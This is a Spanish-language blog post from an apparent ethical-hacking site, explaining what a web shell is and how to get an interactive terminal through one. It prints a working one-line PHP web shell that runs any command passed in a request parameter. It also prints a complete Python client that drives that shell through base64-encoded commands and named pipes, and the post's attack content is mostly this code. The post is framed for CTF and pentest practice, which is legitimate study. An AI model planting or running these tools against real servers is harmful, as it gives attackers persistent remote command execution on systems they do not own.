Black0ut

Blog dedicado a la seguridad informatica y hacking etico

  • Nuevo año, nuevos cambios.
  • Fully TTY, Shell Interactiva con Web Shell.
  • ¿Que es Black0ut?
  • Introducción a CTF y a HackTheBox.
  • Como un físico en el Proyecto Manhattan creó el primer juego de la historia
  • WhatsApp y el efecto red
  • Canal de YouTube ya disponible.
  • Nuestra primera máquina de Vulnhub de dificultad Insane resuelta en el canal. “Jigsaw 1”
  • Nuestra primera máquina de Vulnhub de dificultad Insane resuelta en el canal. “Jigsaw 1”
  • Nuestra primera máquina de Vulnhub de dificultad Insane resuelta en el canal. “Jigsaw 1”

Fully TTY, Shell Interactiva con Web Shell.

29 de octubre de 2020 x4u7r

En ocasiones acceder a un servidor web atraves de una ReverseShell, Python o cualquier otra utilidad se nos hace imposible, este post va dirigido para todos los miembros de BlackOut y todo visitante del blog.

¿Que es una TTY?

Si nos vamos a Wikipedia podemos ver que una TTY es un comando que muestra el nombre de fichero de la terminal de la entrada estándar. Para ejecutarlo, desde un emulador de terminal.

¿Que es una web shell?

Es un script malicioso que se introduce en los sistemas que son atacados. En la mayoría de los casos, los servidores web forman parte del objetivo. Una vez que dichos sistemas cuenten con el web shell, el cibercriminal puede tener control remoto del mismo. En consecuencia, tendrá acceso persistente al sistema y podrá manejarlo como quiera. Esto significa que los web shells tienen la capacidad de crear backdoors en los sistemas vulnerados para tener cierto control e incluso el control total.

Para obtener una web shell simple solo necesitamos una estructura php (shell.php) simila a la siguiente:

Como podemos ver en la siguiente imagen gracias a la web shell podemos ejecutar codigo desde el navegador. Pero para que este no se alargue utilizaremos una Fully TTY para obtener una shell interactiva comoda desde la terminal.

<?php
     echo shell_exec($_REQUEST['cmd']);
?>

Para hacer dicha Fully TTY necesitaremos el interprete de Python 3, quiero aclarar que este codigo pueden encontrarlo en https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py

Pero si no tienes internet puedes copiarte el codigo aca y crear un archivo donde cumpla las funciones del repositorio anterior.


#!/usr/bin/python3

import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange

class AllTheReads(object):
	def __init__(self, interval=1):
		self.interval = interval
		thread = threading.Thread(target=self.run, args=())
		thread.daemon = True
		thread.start()

	def run(self):
		readoutput = """/bin/cat %s""" % (stdout)
		clearoutput = """echo '' > %s""" % (stdout)
		while True:
			output = RunCmd(readoutput)
			if output:
				RunCmd(clearoutput)
				print(output)
			time.sleep(self.interval)

def RunCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
        	'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
		}
	result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
	return result

def WriteCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
		'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
	}
	result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
	return result

def ReadCmd():
        GetOutput = """/bin/cat %s""" % (stdout)
        output = RunCmd(GetOutput)
        return output

def SetupShell():
	NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
	try:
		RunCmd(NamedPipes)
	except:
		None
	return None

global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()

def sig_handler(sig, frame):
	print("\n\n[*] Exiting...\n")
	print("[*] Removing files...\n")
	RunCmd(erasestdin)
	RunCmd(erasestdout)
	print("[*] All files have been deleted\n")
	sys.exit(0)

signal.signal(signal.SIGINT, sig_handler)

while True:
	cmd = input("> ")
	WriteCmd(cmd + "\n")
	time.sleep(1.1)

Es necesario cambiar el valor de http://127.0.0.1/index.php por la localizacion de la web shell incertada previamente en la pagina. Espero que esto les sirva de ayuda.

Filed Under: Seguridad Informática

« BlackOut CTF #2
Nuevo año, nuevos cambios. »

Copyright © 2021 · Ambiance Pro Theme on Genesis Framework · WordPress · Log in